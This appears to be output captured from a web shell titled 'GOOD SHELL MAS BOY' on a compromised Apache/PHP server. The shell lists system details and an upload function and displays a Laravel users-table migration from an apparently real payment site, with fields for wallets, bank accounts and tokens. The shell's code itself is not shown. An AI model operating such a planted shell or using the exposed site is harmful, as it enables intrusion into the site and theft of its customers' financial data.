GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/vaspayment.com/database/migrations/2014_10_12_000000_create_users_table.php
<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

return new class extends Migration
{

    public function up(): void
    {
        Schema::create('users', function (Blueprint $table) {
            $table->id();
            $table->string('name')->nullable();
            $table->string('lastname')->nullable();
            $table->string('phone')->unique();
            $table->string('wallet_id'); 
            $table->string('referree_id')->nullable(); 
            $table->string('budPay_customer_code')->nullable(); 
            $table->string('budPay_customer_reference')->nullable(); 
            $table->string('account_number_1')->nullable(); 
            $table->string('account_bank_1')->nullable(); 
            $table->string('account_number_2')->nullable(); 
            $table->string('account_bank_2')->nullable(); 
            $table->string('account_number_3')->nullable(); 
            $table->string('account_bank_3')->nullable(); 
            $table->enum('role', ['customer', 'agent', 'admin'])->default('customer');
            $table->string('email')->unique();
            $table->enum('status', [0, 1])->default(0)->comment('0 is Active, 1 is Inactive');
            $table->string('google_id')->nullable();
            $table->string('password')->nullable();
            $table->timestamp('email_verified_at')->nullable();
            $table->string('device_token')->nullable()->unique();
            $table->rememberToken();
            $table->string('profile_photo_path', 2048)->nullable();
            $table->timestamps();
        });
    }


    public function down(): void
    {
        Schema::dropIfExists('users');
    }
};